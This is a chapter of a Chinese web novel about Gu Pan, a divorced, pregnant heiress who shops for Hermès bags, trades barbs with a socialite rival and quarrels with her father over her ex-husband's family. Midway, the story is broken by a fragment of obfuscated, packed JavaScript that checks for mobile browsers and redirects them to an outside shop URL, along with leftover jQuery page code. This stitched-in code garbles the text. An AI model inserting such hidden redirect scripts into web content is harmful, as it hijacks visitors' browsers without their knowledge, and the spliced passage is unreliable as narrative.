顾盼和周琦琦这边正聊着,沈准就来了。
身为老板,快到中午才露面,他还有脸说,“你们怎么天天来,比我这个咖啡店老板还上心。”
顾盼哼笑一声:“你的咖啡卖70块钱一杯,我不多来几次,等你倒闭,就喝不到了。”
沈准也是美院的,开咖啡店只是玩票,倒闭的话,对他这个浪荡子伤害为零。
人家说:“没关系,只要两位愿意喝,叫我卖肉养这家店都没问题。”
顾盼一脸嫌弃,“这么肉麻的话,你还是说给周琦琦吧。”
果不其然,周琦琦在旁边,一脸花痴看着沈准。
飞行夹克、机车裤一身通黑,人一出现,她心早飞了,见男人这时望过来,周琦琦连忙问:“你吃早餐了么,没吃的话,要不要试试我做的饭团。”
沈准似笑非笑,懒懒扬了扬下巴,“问什么口味的?”
“海苔和金枪鱼。”
“听起来不错。”
周琦琦这下坐不住了,“那我帮你加热一下。”
立刻扑向操作台的微波炉。
顾盼看不下去,起身就走,路过前台,她冲着周琦琦,“我最见不得女人贴男人的便宜样子。”
周琦琦笑得花一样,回击:“不知道是谁,刚才还请男人喝咖啡呢!”
被人戳中痛处的顾盼,很不爽,“锁死吧你们两个,再见!”
说罢,好闺蜜互相翻了一个象征友谊的白眼。
——
从咖啡店出来。
初春的街头,艳阳高照,光线穿透抽绿的芽叶,带着一股清明劲。
顾盼在周琦琦那吃的瘪,急需一个发泄口,赶巧了,爱马仕的柜姐发来消息,说有新品到店,问她什么时候有时间。
因为早孕反应,顾盼很久没有露面,造就了一段社交真空期,正好今天有空,连犹豫都不犹豫,顾盼直接杀过去。
她是迷恋新鲜感的人,只要品牌有新款,她立刻看旧的不顺眼,一进商场,顾盼还没进爱马仕的门,就被珠宝专柜拦住了。
钻石套链精致,黄金臂钏奢华,顾盼两个都喜欢,便两个都拿下。
结账时,她毫无心理负担地拿出了裴近远的信用卡——离婚时,忘了归还,现在拿出来,她跟自己说,最后再用一次,就当跟它好好告个别。
刷完卡,顾盼的心情终于好起来,战利品叫司机提着上车,她再去找约好的柜姐。
“顾小姐……您终于来了,好久都没见到您了,发消息,您也不回,我都怀疑自己是不是要失去您这个大客户了。”
一进门。
柜姐那夸张的笑脸,从里到外透着热情。
顾盼直奔主题,问:“你说的包呢,还在吗?”
“在的!鳄鱼皮有一只雾面的,和一只亮面的,全都是银扣。”柜姐声音突然压低,“还有一只鳄鱼拼皮的kellydoll,刚到货,我只通知了您。”
言下之意,这是一份只你有,别人没有的尊荣。
而往往人的快乐,就在于攀比。
至此,顾盼终于露出一抹微笑,“kellydoll啊,那可是一包难求,难为你想着我。”
“必须的啊,您不说话,我们哪敢给别人。”
“是什么颜色的?”
“深海蓝。”
“行吧,三只我都要了。”连实物都不用看,顾盼随口决定,犹如买白菜。
偏这般矜贵的做派,弄得柜姐更亢奋了。“您别着急,咱们店里还来了几套礼服,您可以一块看看。”
销冠就是销冠,轻车熟路地做了一个请的手势,“我已经准备好了咖啡和甜品,要不,咱们去您的房间慢慢试穿?”
“下次吧。”出来太久,顾盼已经买累了,她吩咐柜姐,“先打包结账吧。”
“好的好的。”
柜姐欢欢喜喜把顾盼引到收银台,一通熟练操作,她调出电脑里的会员信息,“这次的消费一共是……”
柜姐语气一顿,有点微妙,“顾小姐,您还和从前一样……继续使用裴先生的账户吗?”
顾盼刚掏出手机,听到这里,她也愣了一下。
一直以来,这杀千刀的品牌,都以配货著称。如果想买下这三只包,光有钱不行,还需要一个超级大冤种的账户。
顾盼下意识抿了抿唇,故作淡定,说,“对,裴近远,用他的账户。”
“可是,”只见柜姐尴尬一笑,“顾小姐,您还是给裴先生打个电话吧,他只要在电话里授权同意……”
顾盼有点不乐意,挑眼:“以前都能直接用,现在怎么这么麻烦。”
“因为……以前你是裴太太。”VIP室就在收银墙后,门把拧动,有人从里面出来,凉凉讲完后半句。“现在你是顾小姐,当然不能再享用裴太太的待遇了。”
顾盼的塑料姐妹圈里,大致分为两种人,一类是生得好,老爸有钱,另一种是嫁得好,老公有钱。
两类人各自抱团,谁都看不上谁。
而属于第二类的顾盼,此刻偶遇的,正是是第一类中的佼佼者、王美纯。
王小姐挽着一只BK,适时走出来,可能为了拿气场凑身高,王美纯看人时,下巴习惯性上扬。
她身后还跟着两个柜姐,只因她刚才的话,说得极难听,周围工作人员吓得大气都不敢喘。
生怕得罪了哪个,以后不用在贵妇圈混了。
可叫人大跌眼镜的是,这两位顶级难缠的大小姐,目光刚一对上,就马上来了一个热情拥抱。
“顾盼……宝宝,几天没见,你又漂亮了……快说,去哪打了瘦脸针。”
顾盼娇笑着,“你才坏呢,偷偷打增高针,也不告诉我,你看,几天没见,宝宝你都快到我胸口了……”
顾盼假模假式拿手在身前比了一下,王美纯跟触电一样,火速弹开,后退了一大步。
又恨又痛。
但碍于颜面,王美纯咬牙伪笑着:“顾盼,最近怎么样?听说你离婚了?什么离的?”
顾盼一点不遮掩,“多谢记挂,上个月离的。”
王美纯:“怪不得,上个月的时装周,你没来,我和朋友们还担心呢,顾盼一离婚就查无此人,别是怕丢人躲起来了。”
顾盼挂着无懈可击的微笑,“真的不用惦记我,只要你开心,我离不离婚无所谓的。”
“这叫什么话,你离婚,我为什么开心。”
“你不是喜欢裴近远么?”顾盼轻描淡写道,“我们婚礼前几天,你还给裴近远发信息表白……难道是我搞错了?”
王美纯瞳孔一缩。
没想到,时隔一年,暗恋心事竟然被正主翻出来,她都惊了,但还是忍住难堪,问:“你怎么知道?”
顾盼:“裴近远跟我说的。”
王美纯更慌了,“怎么可能,我不信!”
顾盼也不信。
裴近远当然不是嚼舌根的人,顾盼之所以知道,要从新婚那晚说起。
酒宴过后,回到婚房,意乱情迷的关键时刻,顾盼半真半假哭着喊,疼。
男人用尽克制,手臂撑在上方,停下来问她,哪里疼。
顾盼脸颊上蒸出一片薄红,抵在男人锁骨上,“反正又酸又涨又疼,裴近远……你哄哄我。”
所谓“哄她”,事后证明是一场蓄谋——顾盼用贞操拿捏裴近远,勾出他的愧疚,就是为了查他手机。
可真正得手后,顾盼才发现,裴近远实在太忙,拿手机和女人撩骚的概率几乎为0,。微信动辄99+的群消息,早就冲散了霸总对任何人的兴趣。
所以,王美纯的那条表白短信,时隔一周,早都沉到太平洋海底了——可偏偏这是被顾盼翻出来的、唯一可疑的人。
那晚,是顾盼第一次大婆症发作,又哭又闹,不依不饶,裴近远哄了很久,甚至承诺以后手机密码和她共享,这才让顾盼翻过这一篇。
当然,顾盼也付出了被裴近远操|翻好几篇的对价。
店内,场面还在僵持,柜哥柜姐已经看傻,无人胆敢上前劝说。
王美纯更是对她怒目而视。
顾盼轻缓地呼吸,思绪拉回当下。
这一刻,她的感受更清晰了。
自从进入这间店,她就有一种不受控的情绪在作祟,微微的失落感,好像自己从前被人微信置顶的生活,一去不复返了。
“算了,不和你吵了。”顾盼对王美纯说,忽然觉得没意思,但又不是因为吵架,可能还有其他的什么。“还有几个包,我也不要了……”
顾盼准备离开,迫不及待地抽身,往外走着,身后的奚落,来自不甘心的王美纯,仍是不受控地往她耳朵里钻——
“有裴家撑着,她是‘凉茶公主’,没了裴家,我看不如叫她茶凉公主算了。”
人走茶凉的“茶凉”,昭彰那笑声,嘲讽、傲慢、极具穿透力。
——
从商场出来,坐车回家的路上,顾盼渐渐反应过来。
每次买包,她用的都是裴近远的账户,前夫拿真金白银砸出来的VIC等级,是她的底气。
以后少了“裴太太”的头衔,顾盼怀疑,她以后都不能优先选包了。
而就在刚刚,慷慨割让Kellydoll的行为,简直蠢透了。
顾盼恨,家中7个颜色的娃娃,只差那个深海蓝,就能凑齐整套。
拼图缺失一角的不完美,令她越想越难受,最后演变成抓心挠肝的痛苦。
车子在地库停稳,顾盼甩上车门,搭乘电梯的同时,她摸出手机,编了一条短信去骂裴近远。
【你到底明不明白,你失去的是婚姻,而我失去的是包!】
是包啊!
顾盼心底发出声嘶力竭的呐喊。
转瞬,四壁光洁的电梯轿厢,化作黑暗的夜,滂沱大雨纵情落下,而她,失去Kellydoll的小女孩,仰面朝天,被悲伤击倒……
叮!
电梯到站,门扇缓缓打开。
戏精上身的顾盼,揩了下眼角,转眼恢复如常。
尖细的高跟鞋,刚刚迈出电梯,一抬头,家门口站了两个人,正在东张西望。
顾盼身形一顿。“你们是谁?”
两个女人转过身,一个年纪偏大,穿了件土灰色的羽绒服,另一个女孩很年轻,身材肉眼可见的好。
她们分别自报家门——
“我是营养师。”
“我是健身教练。”
两个人义正言辞,搞得顾盼有点懵。“你们找我?”
年轻女孩笑着:“您是顾盼小姐吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484735|201935||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>这里住宅都是一梯一户,不刷卡根本进不来,所以不存在访客走错门的情况,而且她还能叫出自己的名字。
顾盼脑袋里转了一圈,确信,“又是裴近远安排的吧?”
两人懵懵懂懂,交换了一个眼神。
顾盼嫌烦,越过她们,直奔自家大门,“……上次安排产检,这次又叫你们上门,他下次打个电话,提前通知一下也行啊,总是喜欢自做主张。”
抱怨归抱怨,但顾盼要承认,被前夫记挂的感觉有点爽到她。
“行了,你们先回去吧,我今天有点累,改天再说。”顾盼刚把手指搭在电子锁上。
忽地,大门从里面打开。
“女儿啊,你回来了!”顾胜利一张大脸探出来,顾盼吓一跳,往后退一步,却被顾胜利一把拉回门内。
“进进进,都进来。”顾胜利竟然又招呼那两个人。
顾盼眉头拧紧,顾胜利把这里完全当成自己家,开始指挥起来。
“你,徐阿姨是吧,你先去厨房,盼盼不怎么做饭,你先帮她收拾一下,看看缺什么,油盐酱醋锅碗瓢盆的,下次你来做饭的时候,买好一块带过来。”
“还有小杨教练,你往里走,走廊右转第二个房间,就是家庭健身房,你也熟悉一下,看看哪些训练孕妇不能做,你把危险的器材,先挪边上去,别磕碰了我女儿。”
“好的。”两人分头行动,各自去忙了。
顾盼站在门边,隐隐一股怒火往上冲,不是因为家被偷了,难以启齿地理由,好像来自于——
“这两个人,是您请来的?”
“对啊,你现在特殊时期,不能没人照顾,她们都是专业的,爸爸把你交给她们才放心。”
高跟鞋随便一踢,顾盼一言不发,踩着拖鞋,啪嗒啪嗒往客厅走。
顾胜利急忙跟上,“怎么了嘛,我关心女儿,难道不对吗?!”
“我虽然给了您家门密码,但您不能随便上门,现在还送来两个人,说是照顾我,谁知道是不是监视我?!”
“爸爸保证,绝对没有监视你的意思!”
“行吧行吧。人留下来,您走吧。””
顾盼赌气,一屁股坐进沙发里,顿时,顾胜利哀嚎出声。
“哎呦,你动作能不能轻点,摔坏我的外孙怎么办!”
顾盼左腿搭右腿,抱臂,看向顾胜利。
顾胜利本来也是藏不住事的人,笑了,摸到顾盼那张沙发的角落,坐下来。
“今天我去打球,碰上你公公,大家闲聊的时候,我试探了一下……女儿啊,你没把怀孕的事,告诉裴家长辈吗?”
顾盼看着顾胜利。“这件事你应该去问裴近远,那是他父母,告不告诉取决于他。”
名义上,裴近远是女婿是小辈,可他大权在握,生杀予夺,早已勾平了年纪这道鸿沟。
顾胜利不敢僭越。
“我在想,裴近远不告诉他爸妈,这背后的态度,”顾胜利小心翼翼措辞,“……不会是不想承认这个孩子吧?”
顾盼不是一个城府深的人,且多数时候,相当冲动,但此刻,愤怒从上头到下头,身体像烧灼过的火灾现场,正在慢慢降温。
灰烬中的心脏,麻木颤动着,顾盼竭力维持一种不在乎的姿态。
“裴近远不认就不认,我又不是没有钱,难道还怕养不起,再说,这本来就是我一个人的孩子,无所谓了。”
顾胜利坐不住了,“怎么无所谓啊,如果你单身没孩子,凭咱们家的条件,你还能再嫁好男人;现在呢,裴近远不认账,难道你准备一个人带拖油瓶,凄凄惨惨过完后半生吗!”
“我怎么是一个人,我有您,您有上市公司,将来还可以让孩子继承公司,有什么可凄惨的。”
顾胜利一噎,抿了抿嘴,“你的孩子当然可以继承我的公司,但裴家产业更大,为孩子考虑……”
顾盼眉头一挑。
顾胜利顶住女儿审视的目光,硬着头皮话说完,“为了孩子的前途,肯定要认祖归宗的嘛。”
顾盼偏要追问:“谁的祖?谁的宗?”
顾胜利:“当然是裴家的祖,裴家的宗。”
顾盼冷冷一笑,“说来说去,顾家的产业没我份呗?!”
顾胜利“哎呀”一声。“你看你,一下就扯远了,咱们说孩子的事呢。”
顾胜利在推脱,顾盼怎会不清楚,父亲生怕她或者孩子,瓜分他的财富,所以才竭力把她往裴家推。
然而,再聊下去,势必碰触父女关系的雷区。
顾盼不想吵,随便搪塞了两句。“行了,我知道了,如果有机会,我会让孩子认祖归宗的。”
顾胜利讪讪的,“你知道就好,知道就好……”
顾盼:“那你还不走?”
“好好,我走,我回去了,你好好休息。”顾胜利欲言又止。
说多了,怕女儿不高兴,说少了,又怕女儿抓不住裴家这条大腿。
进退两难之际,顾胜利起身往外走,最后想一想,还是没忍住,折回来。
他说:“实在不行,你自己去跟公婆说。我了解裴毅两口子,最喜欢小孩,如果他们知道你怀孕,不会撒手不管的。”
“所以,不管裴近远认不认,只要打动他父母,你和孩子,将来不愁没有保障。”